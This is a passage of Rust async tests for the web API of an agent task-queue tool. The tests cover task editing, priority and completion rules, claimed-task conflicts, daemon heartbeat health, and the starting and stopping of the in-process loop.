18646            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18647            assert_eq!(outcome.max_attempts, detail.max_attempts);
18648        }
18649        for value in [
18650            serde_json::json!(0),
18651            serde_json::json!(-1),
18652            serde_json::json!(1.5),
18653            serde_json::json!("3"),
18654            serde_json::json!(true),
18655        ] {
18656            assert_eq!(
18657                change(value).await.err().unwrap().status,
18658                StatusCode::BAD_REQUEST
18659            );
18660        }
18661        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
18662        let claim = q.claim(&t.id).unwrap();
18663        assert_eq!(
18664            change(serde_json::json!(4)).await.err().unwrap().status,
18665            StatusCode::CONFLICT
18666        );
18667        drop(claim);
18668        for status in [
18669            TaskStatus::Running,
18670            TaskStatus::Done,
18671            TaskStatus::Failed,
18672            TaskStatus::Blocked,
18673            TaskStatus::Parked,
18674        ] {
18675            let mut stored = q.get(&t.id).unwrap();
18676            stored.status = status;
18677            q.put(&mut stored).unwrap();
18678            assert_eq!(
18679                change(serde_json::json!(4)).await.err().unwrap().status,
18680                StatusCode::BAD_REQUEST
18681            );
18682            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
18683        }
18684        let mut stored = q.get(&t.id).unwrap();
18685        stored.status = TaskStatus::Queued;
18686        q.put(&mut stored).unwrap();
18687        let _ = change(serde_json::Value::Null).await.unwrap();
18688        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
18689    }
18690
18691    #[tokio::test]
18692    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
18693        let dir = TempDir::new().unwrap();
18694        let repo = dir.path().join("repo");
18695        std::fs::create_dir(&repo).unwrap();
18696        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
18697        let q = Queue::at(dir.path().join("queue"));
18698        let ui = Arc::new(Ui::new(
18699            q.clone(),
18700            Questions::at(dir.path().join("questions")),
18701            Talks::at(dir.path().join("talks")),
18702            dir.path().join("runs"),
18703            dir.path().to_path_buf(),
18704            repo.clone(),
18705        ));
18706        let mut t = Task::new(
18707            "seats".into(),
18708            "keep instruction".into(),
18709            repo,
18710            Source::Human,
18711        );
18712        t.runs.push("prior-run".into());
18713        t.hold_manual(Some("waiting".into()));
18714        q.put(&mut t).unwrap();
18715        let change = |count| {
18716            queue_implementers(
18717                State(ui.clone()),
18718                Path(t.id.clone()),
18719                Ok(Json(ImplementersBody {
18720                    implementers: count,
18721                })),
18722            )
18723        };
18724        for count in [2, 1, 2] {
18725            let response = change(count).await.unwrap();
18726            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
18727            let saved = q.get(&t.id).unwrap();
18728            assert_eq!(saved.implementers(), Some(usize::from(count)));
18729            assert_eq!(saved.runs, t.runs);
18730            assert_eq!(saved.instruction, t.instruction);
18731        }
18732        for count in [0, 4] {
18733            assert_eq!(
18734                change(count).await.err().unwrap().status,
18735                StatusCode::BAD_REQUEST
18736            );
18737        }
18738        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
18739        let claim = q.claim(&t.id).unwrap();
18740        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
18741        drop(claim);
18742        for status in [
18743            TaskStatus::Running,
18744            TaskStatus::Done,
18745            TaskStatus::Failed,
18746            TaskStatus::Blocked,
18747            TaskStatus::Parked,
18748        ] {
18749            let mut stored = q.get(&t.id).unwrap();
18750            stored.status = status;
18751            q.put(&mut stored).unwrap();
18752            assert_eq!(
18753                change(1).await.err().unwrap().status,
18754                StatusCode::BAD_REQUEST
18755            );
18756            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
18757        }
18758    }
18759
18760    #[tokio::test]
18761    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
18762        let f = Fixture::start().await;
18763        let queue = f.queue();
18764        let mut task = Task::new(
18765            "in flight".to_owned(),
18766            "x".to_owned(),
18767            PathBuf::from("/repo/magi"),
18768            Source::Human,
18769        );
18770        task.start("20260902-140502-bbbb".to_owned());
18771        queue.put(&mut task).expect("file the task");
18772
18773        let res = f
18774            .post(
18775                &format!("/api/queue/{}/priority", task.id),
18776                Some(r#"{"priority":9}"#),
18777            )
18778            .await;
18779        assert_eq!(res.status, 400, "{}", res.body);
18780        assert!(
18781            res.json()["error"]
18782                .as_str()
18783                .is_some_and(|e| e.contains("running")),
18784            "{}",
18785            res.body
18786        );
18787        assert_eq!(
18788            queue.get(&task.id).expect("reload").priority,
18789            0,
18790            "the refused write must not partially apply"
18791        );
18792    }
18793
18794    #[tokio::test]
18795    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
18796        let f = Fixture::start().await;
18797        let queue = f.queue();
18798        let mut task = Task::new(
18799            "old title".to_owned(),
18800            "old instruction".to_owned(),
18801            PathBuf::from("/repo/magi"),
18802            Source::Agent {
18803                run: "20260101-000000-beef".to_owned(),
18804                node: "implement".to_owned(),
18805            },
18806        );
18807        task.runs.push("20260101-000000-beef".to_owned());
18808        queue.put(&mut task).expect("file the task");
18809        let created_at = task.created_at;
18810
18811        let edited = f
18812            .post(
18813                &format!("/api/queue/{}/edit", task.id),
18814                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
18815            )
18816            .await;
18817        assert_eq!(edited.status, 200, "{}", edited.body);
18818        let body = edited.json();
18819        assert_eq!(body["title"], "new title");
18820        assert_eq!(body["instruction"], "new instruction");
18821        assert_eq!(body["id"], task.id, "editing must not mint a new id");
18822        assert_eq!(body["created_at"], created_at.to_string());
18823        assert_eq!(
18824            body["source"]["kind"], "agent",
18825            "editing a task an agent filed must not turn it human: {body}"
18826        );
18827        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
18828
18829        let reloaded = queue.get(&task.id).expect("reload");
18830        assert_eq!(reloaded.title, "new title");
18831        assert_eq!(reloaded.instruction, "new instruction");
18832    }
18833
18834    #[tokio::test]
18835    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
18836        // The judge is an agent now: a repo whose only agent answers
18837        // "duplicate" stands in for it, so the refusal is the judge's.
18838        let tmp = TempDir::new().expect("tempdir");
18839        let repo = tmp.path().join("repo");
18840        std::fs::create_dir_all(&repo).expect("repo dir");
18841        let judge = MOCK_AGENT_TOML.replace(
18842            "printf ok",
18843            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
18844        );
18845        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
18846        let f = Fixture::with_repo(repo.clone()).await;
18847        let queue = f.queue();
18848        let mut owner = Task::new(
18849            "owner".to_owned(),
18850            "review it".to_owned(),
18851            repo.clone(),
18852            Source::Human,
18853        );
18854        owner.review_branch = Some("magi/ab12/A".to_owned());
18855        queue.put(&mut owner).expect("file the owner");
18856        let mut task = Task::new(
18857            "draft".to_owned(),
18858            "old".to_owned(),
18859            repo.clone(),
18860            Source::Human,
18861        );
18862        queue.put(&mut task).expect("file the draft");
18863        let url = format!("/api/queue/{}/edit", task.id);
18864
18865        let refused = f
18866            .post(
18867                &url,
18868                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
18869            )
18870            .await;
18871        assert_eq!(refused.status, 409, "{}", refused.body);
18872        let msg = refused.json()["error"]
18873            .as_str()
18874            .unwrap_or_default()
18875            .to_owned();
18876        assert!(
18877            msg.contains("magi/ab12/A") && msg.contains("force"),
18878            "{msg}"
18879        );
18880        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
18881
18882        let forced = f
18883            .post(
18884                &url,
18885                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
18886            )
18887            .await;
18888        assert_eq!(forced.status, 200, "{}", forced.body);
18889    }
18890
18891    #[tokio::test]
18892    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
18893        let f = Fixture::start().await;
18894        let queue = f.queue();
18895        let mut task = Task::new(
18896            "in flight".to_owned(),
18897            "do not touch".to_owned(),
18898            PathBuf::from("/repo/magi"),
18899            Source::Human,
18900        );
18901        task.start("20260902-140502-bbbb".to_owned());
18902        queue.put(&mut task).expect("file the task");
18903
18904        let res = f
18905            .post(
18906                &format!("/api/queue/{}/edit", task.id),
18907                Some(r#"{"title":"x","instruction":"y"}"#),
18908            )
18909            .await;
18910        assert_eq!(res.status, 400, "{}", res.body);
18911        assert!(
18912            res.json()["error"]
18913                .as_str()
18914                .is_some_and(|e| e.contains("running")),
18915            "{}",
18916            res.body
18917        );
18918        assert_eq!(
18919            queue.get(&task.id).expect("reload").instruction,
18920            "do not touch",
18921            "the refused edit must not change the file"
18922        );
18923    }
18924
18925    #[tokio::test]
18926    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
18927        let f = Fixture::start().await;
18928        let queue = f.queue();
18929        let mut task = Task::new(
18930            "busy".to_owned(),
18931            "Running right now".to_owned(),
18932            PathBuf::from("/repo/magi"),
18933            Source::Human,
18934        );
18935        queue.put(&mut task).expect("file the task");
18936        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18937
18938        let priority = f
18939            .post(
18940                &format!("/api/queue/{}/priority", task.id),
18941                Some(r#"{"priority":9}"#),
18942            )
18943            .await;
18944        assert_eq!(priority.status, 409, "{}", priority.body);
18945
18946        let edit = f
18947            .post(
18948                &format!("/api/queue/{}/edit", task.id),
18949                Some(r#"{"title":"x","instruction":"y"}"#),
18950            )
18951            .await;
18952        assert_eq!(edit.status, 409, "{}", edit.body);
18953    }
18954
18955    #[tokio::test]
18956    async fn web_completion_distinguishes_missing_and_claimed_tasks() {
18957        let f = Fixture::start().await;
18958        let queue = f.queue();
18959        let mut task = Task::new(
18960            "claimed".into(),
18961            "leave unchanged".into(),
18962            f.home.path().into(),
18963            Source::Human,
18964        );
18965        queue.put(&mut task).unwrap();
18966        let _claim = queue.claim(&task.id).unwrap();
18967        for (action, body) in [("done", None), ("reopen", Some(r#"{"reason":"inspect"}"#))] {
18968            let missing = f.post(&format!("/api/queue/missing/{action}"), body).await;
18969            assert_eq!(missing.status, 404, "{}", missing.body);
18970            assert!(missing.json()["error"].as_str().unwrap().contains("task"));
18971
18972            let busy = f
18973                .post(&format!("/api/queue/{}/{action}", task.short()), body)
18974                .await;
18975            assert_eq!(busy.status, 409, "{}", busy.body);
18976            assert!(busy.json()["error"].as_str().unwrap().contains("claimed"));
18977        }
18978        let unchanged = queue.get(&task.id).unwrap();
18979        assert_eq!(unchanged.status, TaskStatus::Queued);
18980        assert!(unchanged.completion_history.is_empty());
18981    }
18982
18983    #[test]
18984    fn web_completion_reports_a_stale_commit_as_a_conflict() {
18985        let home = TempDir::new().unwrap();
18986        let queue = Queue::at(home.path().join("queue"));
18987        let mut current = Task::new(
18988            "stale".into(),
18989            "original".into(),
18990            home.path().into(),
18991            Source::Human,
18992        );
18993        queue.put(&mut current).unwrap();
18994        let expected = current.clone();
18995        current.instruction = "updated".into();
18996        queue.put(&mut current).unwrap();
18997
18998        let mut decision = expected.clone();
18999        decision.status = TaskStatus::Done;
19000        let error = queue
19001            .commit_completion(&mut decision, &expected)
19002            .unwrap_err();
19003        assert_eq!(ApiError::completion(error).status, StatusCode::CONFLICT);
19004        let saved = queue.get(&current.id).unwrap();
19005        assert_eq!(saved.status, TaskStatus::Queued);
19006        assert_eq!(saved.instruction, "updated");
19007    }
19008
19009    #[tokio::test]
19010    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
19011        let f = Fixture::start().await;
19012        let queue = f.queue();
19013        let mut task = Task::new(
19014            "shipped by hand".to_owned(),
19015            "merged outside the loop".to_owned(),
19016            PathBuf::from("/repo/magi"),
19017            Source::Agent {
19018                run: "20260101-000000-b455".to_owned(),
19019                node: "implement".to_owned(),
19020            },
19021        );
19022        task.runs.push("20260101-000000-b455".to_owned());
19023        task.runs.push("20260101-000000-9af4".to_owned());
19024        queue.put(&mut task).expect("file the task");
19025        let created_at = task.created_at;
19026
19027        let done = f
19028            .post(
19029                &format!("/api/queue/{}/done", task.id),
19030                Some(r#"{"discard":true,"reason":"owner cancelled retained work"}"#),
19031            )
19032            .await;
19033        assert_eq!(done.status, 200, "{}", done.body);
19034        assert_eq!(done.json()["status_str"], "done");
19035
19036        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
19037        assert_eq!(
19038            reloaded.runs,
19039            ["20260101-000000-b455", "20260101-000000-9af4"]
19040        );
19041        assert_eq!(
19042            reloaded.source,
19043            Source::Agent {
19044                run: "20260101-000000-b455".to_owned(),
19045                node: "implement".to_owned(),
19046            }
19047        );
19048        assert_eq!(reloaded.created_at, created_at);
19049        let event = reloaded
19050            .completion_history
19051            .last()
19052            .expect("completion audit");
19053        assert_eq!(event.actor, crate::queue::CompletionActor::Web);
19054        assert!(event.discard);
19055        assert_eq!(
19056            event.reason.as_deref(),
19057            Some("owner cancelled retained work")
19058        );
19059        let detail = f.get(&format!("/api/queue/{}", task.id)).await;
19060        assert_eq!(
19061            detail.json()["completion_history"][0]["occurrence"],
19062            event.occurrence
19063        );
19064    }
19065
19066    #[tokio::test]
19067    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
19068        // Explicit discard may close held work without a release; the current
19069        // hold clears while the completion audit preserves its prior status.
19070        let f = Fixture::start().await;
19071        let queue = f.queue();
19072        let mut task = Task::new(
19073            "landed while held".to_owned(),
19074            "x".to_owned(),
19075            PathBuf::from("/repo/magi"),
19076            Source::Human,
19077        );
19078        task.hold_manual(Some("waiting on 3ed9".to_owned()));
19079        queue.put(&mut task).expect("file the held task");
19080
19081        let done = f
19082            .post(
19083                &format!("/api/queue/{}/done", task.id),
19084                Some(r#"{"discard":true,"reason":"no longer needed"}"#),
19085            )
19086            .await;
19087        assert_eq!(done.status, 200, "{}", done.body);
19088        assert_eq!(done.json()["status_str"], "done");
19089        assert!(
19090            done.json()["hold_reason"].is_null(),
19091            "a done task cannot still be waiting on something: {}",
19092            done.body
19093        );
19094    }
19095
19096    #[tokio::test]
19097    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
19098        // `queue_done` is the phone's way to close a task the loop never
19099        // settled itself - after confirming a manual GitHub merge, say - and
19100        // that is just as much "this task's story is over" as the loop's own
19101        // `Merged`/`Ready` path, so it must trigger the same cleanup.
19102        let f = Fixture::start().await;
19103        let queue = f.queue();
19104        let runs = f.runs();
19105        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
19106        // The last attempt has to have actually landed for the earlier one
19107        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
19108        // for the case where it didn't.
19109        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
19110
19111        let mut task = Task::new(
19112            "landed by hand".to_owned(),
19113            "x".to_owned(),
19114            PathBuf::from("/repo/magi"),
19115            Source::Human,
19116        );
19117        task.runs.push("20260101-000000-doa1".to_owned());
19118        task.runs.push("20260101-000000-doa2".to_owned());
19119        queue.put(&mut task).expect("file the task");
19120
19121        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
19122        assert_eq!(done.status, 200, "{}", done.body);
19123
19124        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
19125            .expect("run still on disk under this fixture's own home");
19126        assert_eq!(
19127            reloaded_run.status,
19128            RunStatus::Superseded,
19129            "closing the task by hand must relabel the earlier blocked attempt exactly \
19130             like the loop's own settle path does"
19131        );
19132    }
19133
19134    #[tokio::test]
19135    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
19136        // Intentional discard preserves unsuccessful runs as unsuccessful:
19137        // closing the task does not claim they were delivered or superseded.
19138        let f = Fixture::start().await;
19139        let queue = f.queue();
19140        let runs = f.runs();
19141        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
19142        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
19143
19144        let mut task = Task::new(
19145            "closed with nothing actually landed".to_owned(),
19146            "x".to_owned(),
19147            PathBuf::from("/repo/magi"),
19148            Source::Human,
19149        );
19150        task.runs.push("20260101-000000-dob1".to_owned());
19151        task.runs.push("20260101-000000-dob2".to_owned());
19152        queue.put(&mut task).expect("file the task");
19153
19154        let done = f
19155            .post(
19156                &format!("/api/queue/{}/done", task.id),
19157                Some(r#"{"discard":true,"reason":"stop this work"}"#),
19158            )
19159            .await;
19160        assert_eq!(done.status, 200, "{}", done.body);
19161
19162        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
19163            .expect("run still on disk under this fixture's own home");
19164        assert_eq!(
19165            reloaded_run.status,
19166            RunStatus::Blocked,
19167            "the last recorded attempt never landed, so the earlier one must not be \
19168             relabelled as superseded by it"
19169        );
19170    }
19171
19172    #[tokio::test]
19173    async fn web_completion_requires_discard_and_reopens_to_held_with_an_audit() {
19174        let f = Fixture::start().await;
19175        let queue = f.queue();
19176        let mut task = Task::new(
19177            "unstarted".into(),
19178            "keep its history".into(),
19179            PathBuf::from("/repo/magi"),
19180            Source::Human,
19181        );
19182        write_run(&f.runs(), "20260101-000000-aud1", RunStatus::Failed);
19183        task.runs.push("20260101-000000-aud1".into());
19184        queue.put(&mut task).unwrap();
19185        let path = format!("/api/queue/{}/done", task.id);
19186        let refused = f.post(&path, None).await;
19187        assert_eq!(refused.status, 400, "{}", refused.body);
19188        let blank = f
19189            .post(&path, Some(r#"{"discard":true,"reason":" "}"#))
19190            .await;
19191        assert_eq!(blank.status, 400, "{}", blank.body);
19192        assert!(blank.body.contains("--discard requires a non-empty reason"));
19193        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Queued);
19194        assert!(queue.get(&task.id).unwrap().completion_history.is_empty());
19195        let closed = f
19196            .post(
19197                &path,
19198                Some(r#"{"discard":true,"reason":"owner stopped work"}"#),
19199            )
19200            .await;
19201        assert_eq!(closed.status, 200, "{}", closed.body);
19202        let reopen_path = format!("/api/queue/{}/reopen", task.id);
19203        let no_reason = f.post(&reopen_path, Some(r#"{"reason":" "}"#)).await;
19204        assert_eq!(no_reason.status, 400, "{}", no_reason.body);
19205        let reopened = f
19206            .post(&reopen_path, Some(r#"{"reason":"premature closure"}"#))
19207            .await;
19208        assert_eq!(reopened.status, 200, "{}", reopened.body);
19209        let saved = queue.get(&task.id).unwrap();
19210        assert_eq!(saved.status, TaskStatus::Held);
19211        assert_eq!(saved.completion_history.len(), 2);
19212        let event = &saved.completion_history[1];
19213        assert_eq!(event.action, crate::queue::CompletionAction::Reopen);
19214        assert_eq!(event.actor, crate::queue::CompletionActor::Web);
19215        assert_eq!(event.prior_status, TaskStatus::Done);
19216        assert_eq!(event.reason.as_deref(), Some("premature closure"));
19217    }
19218
19219    #[tokio::test]
19220    async fn unknown_ids_are_json_not_found_on_both_stores() {
19221        let f = Fixture::start().await;
19222
19223        let run = f.get("/api/runs/nosuchrun").await;
19224        let task = f.post("/api/queue/nosuchtask/hold", None).await;
19225
19226        assert_eq!(run.status, 404);
19227        assert_eq!(task.status, 404);
19228        assert!(
19229            run.json()["error"]
19230                .as_str()
19231                .is_some_and(|e| e.contains("run")),
19232            "the error names what was not found: {}",
19233            run.body
19234        );
19235        assert!(
19236            task.json()["error"]
19237                .as_str()
19238                .is_some_and(|e| e.contains("task")),
19239            "the error names what was not found: {}",
19240            task.body
19241        );
19242    }
19243
19244    #[tokio::test]
19245    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
19246        let f = Fixture::start().await;
19247
19248        let missing = f.get("/api/health").await.json();
19249        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
19250
19251        write_daemon(
19252            f.home.path(),
19253            Timestamp::now() - jiff::SignedDuration::from_secs(60),
19254        );
19255        let stale = f.get("/api/health").await.json();
19256        assert_eq!(
19257            stale["daemon"]["running"], false,
19258            "a minute without a heartbeat is a dead daemon, not a busy one"
19259        );
19260        assert!(
19261            stale["daemon"]["stale_for_secs"]
19262                .as_i64()
19263                .is_some_and(|s| s >= 55),
19264            "staleness is reported so the UI can say how long: {stale}"
19265        );
19266
19267        write_daemon(f.home.path(), Timestamp::now());
19268        let fresh = f.get("/api/health").await.json();
19269        assert_eq!(fresh["daemon"]["running"], true);
19270        assert_eq!(fresh["daemon"]["idle"], false);
19271        assert_eq!(fresh["daemon"]["pid"], 4242);
19272        assert_eq!(fresh["daemon"]["completed"], 7);
19273        assert_eq!(
19274            fresh["daemon"]["current"][0]["task"],
19275            "20260902-140501-aaaa"
19276        );
19277        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
19278    }
19279
19280    #[tokio::test]
19281    async fn the_loop_is_not_running_until_something_starts_it() {
19282        let f = Fixture::start().await;
19283
19284        let view = f.get("/api/loop").await.json();
19285        assert_eq!(view["running"], false);
19286        assert_eq!(
19287            view["owned"], false,
19288            "nobody owns a loop that does not exist: {view}"
19289        );
19290        assert_eq!(view["stopping"], false);
19291        assert_eq!(view["last_error"], Value::Null);
19292        assert_eq!(view["daemon"]["running"], false);
19293        assert_eq!(
19294            view["repo"], "/repo/magi",
19295            "the repository a start would use, named before it is started"
19296        );
19297    }
19298
19299    #[tokio::test]
19300    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
19301        let f = Fixture::start().await;
19302
19303        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19304        assert_eq!(res.status, 200, "{}", res.body);
19305        let view = res.json();
19306        assert_eq!(view["running"], true);
19307        assert_eq!(
19308            view["owned"], true,
19309            "the loop the UI started is the UI's own to stop: {view}"
19310        );
19311        assert_eq!(
19312            view["merge"],
19313            Value::Null,
19314            "no override was given, so each repository's own config decides"
19315        );
19316
19317        // The same object from the route a waking phone polls first. Two
19318        // surfaces disagreeing about whether anything is running is exactly
19319        // the confusion this UI exists to remove.
19320        let health = f.get("/api/health").await.json();
19321        assert_eq!(health["loop"]["running"], true, "{health}");
19322        assert_eq!(health["loop"]["owned"], true, "{health}");
19323
19324        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19325    }
19326
19327    #[tokio::test]
19328    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
19329        let f = Fixture::start().await;
19330        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19331        assert_eq!(first.status, 200, "{}", first.body);
19332
19333        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19334        assert_eq!(
19335            again.status, 409,
19336            "two loops on one queue race for the same claims: {}",
19337            again.body
19338        );
19339        assert!(
19340            again.json()["error"]
19341                .as_str()
19342                .is_some_and(|e| e.contains("already running the loop")),
19343            "the refusal has to say why: {}",
19344            again.body
19345        );
19346        assert_eq!(
19347            f.get("/api/loop").await.json()["running"],
19348            true,
19349            "and the loop that was already running is untouched by it"
19350        );
19351
19352        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19353    }
19354
19355    #[tokio::test]
19356    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
19357        let f = Fixture::start().await;
19358        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19359
19360        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19361        assert_eq!(
19362            res.status, 200,
19363            "the answer must not wait for the loop: a run in flight is tens of \
19364             minutes and the operator is holding a phone: {}",
19365            res.body
19366        );
19367
19368        let view = settled(&f, |v| v["running"] == false).await;
19369        assert_eq!(view["owned"], false);
19370        assert_eq!(
19371            view["stopping"], false,
19372            "a loop that has stopped is not still stopping: {view}"
19373        );
19374        assert_eq!(
19375            view["last_error"],
19376            Value::Null,
19377            "a loop that was asked to stop did not fail: {view}"
19378        );
19379
19380        // Idempotent, because the operator cannot tell a slow stop from a lost
19381        // one and will press it again.
19382        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19383        assert_eq!(twice.status, 200, "{}", twice.body);
19384    }
19385
19386    #[tokio::test]
19387    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
19388        let f = Fixture::start().await;
19389        // How the operator has been doing it: a `magi serve` of their own,
19390        // heartbeat fresh, in the same home this UI reads.
19391        write_daemon(f.home.path(), Timestamp::now());
19392
19393        let view = f.get("/api/loop").await.json();
19394        assert_eq!(view["running"], false, "not in this process: {view}");
19395        assert_eq!(view["owned"], false, "and not this process's to control");
19396        assert_eq!(
19397            view["daemon"]["running"], true,
19398            "but a loop is alive somewhere, which is what the UI must say"
19399        );
19400        assert_eq!(view["daemon"]["pid"], 4242);
19401
19402        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
19403            let res = f.post("/api/loop", Some(body)).await;
19404            assert_eq!(
19405                res.status, 409,
19406                "neither button may pretend to work on someone else's loop: {}",
19407                res.body
19408            );
19409            assert!(
19410                res.json()["error"]
19411                    .as_str()
19412                    .is_some_and(|e| e.contains("4242")),
19413                "the refusal has to name the process the operator must go to: {}",
19414                res.body
19415            );
19416        }
19417        assert_eq!(
19418            f.get("/api/loop").await.json()["running"],
19419            false,
19420            "and the refusal started nothing"
19421        );
19422    }
19423
19424    #[tokio::test]
19425    async fn a_stale_status_file_is_not_a_foreign_owner() {
19426        let f = Fixture::start().await;
19427        write_daemon(
19428            f.home.path(),
19429            Timestamp::now() - jiff::SignedDuration::from_secs(60),
19430        );
19431
19432        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19433        assert_eq!(
19434            res.status, 200,
19435            "a daemon killed a minute ago must not lock the loop out of its \
19436             own home for good: {}",
19437            res.body
19438        );
19439        assert_eq!(res.json()["running"], true);
19440
19441        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19442    }
19443
19444    #[tokio::test]
19445    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
19446        let f = Fixture::start().await;
19447        let before = f.get("/api/health").await.json()["loop_rev"]
19448            .as_u64()
19449            .expect("a loop revision");
19450
19451        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19452
19453        let after = f.get("/api/health").await.json()["loop_rev"]
19454            .as_u64()
19455            .expect("a loop revision");
19456        assert!(
19457            after > before,
19458            "the loop is in-process state, so this counter is the only thing \
19459             that tells a second device the first one started it: {before} -> \
19460             {after}"
19461        );
19462
19463        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19464    }
19465
19466    #[tokio::test]
19467    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
19468        let f = Fixture::with_loop(launch_broken).await;
19469
19470        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19471        assert_eq!(
19472            res.status, 200,
19473            "starting it is not the failure: {}",
19474            res.body
19475        );
19476
19477        let view = settled(&f, |v| v["last_error"].is_string()).await;
19478        assert_eq!(
19479            view["running"], false,
19480            "a loop that died must not read as running, or the operator has \
19481             nothing to press: {view}"
19482        );
19483        assert_eq!(view["owned"], false);
19484        assert!(
19485            view["last_error"]
19486                .as_str()
19487                .is_some_and(|e| e.contains("read-only file system")),
19488            "the phone is where a loop that died at 3am is visible: {view}"
19489        );
19490
19491        // And it can be started again: the corpse was reaped, not left to
19492        // occupy the slot.
19493        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19494        assert_eq!(again.status, 200, "{}", again.body);
19495        assert!(
19496            again.json()["last_error"]
19497                .as_str()
19498                .is_none_or(|e| !e.contains("read-only file system")),
19499            "a fresh start does not keep showing why the last one died: {}",
19500            again.body
19501        );
19502    }
19503
19504    #[tokio::test]
19505    async fn a_newer_daemon_status_file_still_renders() {
19506        let f = Fixture::start().await;
19507        // A field this build has never heard of must not turn the status line
19508        // into a 500; that is the whole reason the reader is permissive.
19509        std::fs::write(
19510            f.home.path().join("daemon.json"),
19511            serde_json::json!({
19512                "schema": 2,
19513                "updated_at": Timestamp::now().to_string(),
19514                "idle": true,
19515                "surprise": { "nested": [1, 2, 3] },
19516            })
19517            .to_string(),
19518        )
19519        .expect("write daemon.json");
19520
19521        let health = f.get("/api/health").await;
19522
19523        assert_eq!(health.status, 200);
19524        assert_eq!(health.json()["daemon"]["running"], true);
19525    }
19526
19527    #[tokio::test]
19528    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
19529        let f = Fixture::start().await;
19530        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19531        let broken = f.runs().join("20260902-140502-bad");
19532        std::fs::create_dir_all(&broken).expect("run dir");
19533        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19534
19535        let list = f.get("/api/runs").await;
19536        let detail = f.get("/api/runs/20260902-140502-bad").await;
19537
19538        assert_eq!(list.status, 200);
19539        let listed = list.json();
19540        let ids: Vec<&str> = listed
19541            .as_array()
19542            .expect("an array")
19543            .iter()
19544            .map(|r| r["id"].as_str().expect("an id"))
19545            .collect();
19546        assert_eq!(
19547            ids,
19548            vec!["20260902-140501-good"],
19549            "one unreadable run must not cost the operator the whole history"
19550        );
19551        assert_eq!(detail.status, 500);
19552        assert!(
19553            detail.json()["error"]
19554                .as_str()
19555                .is_some_and(|e| e.contains("run.json")),
19556            "the failure names the file to look at: {}",
19557            detail.body
19558        );
19559        // A skipped run has to be countable somewhere, or the UI shows an
19560        // empty history with nothing to explain it - which is exactly what a
19561        // directory full of older-schema runs looks like.
19562        let health = f.get("/api/health").await;
19563        assert_eq!(health.json()["runs_unreadable"], 1);
19564    }
19565
19566    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
19567    #[tokio::test]
19568    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
19569        let f = Fixture::start().await;
19570        let runs = f.runs();
19571        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
19572        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
19573        // Text three levels down, in a shape no current RunState has: an older
19574        // schema must still search.
19575        let path = runs.join("20260902-140502-bbbb").join("run.json");
19576        let mut v: serde_json::Value =
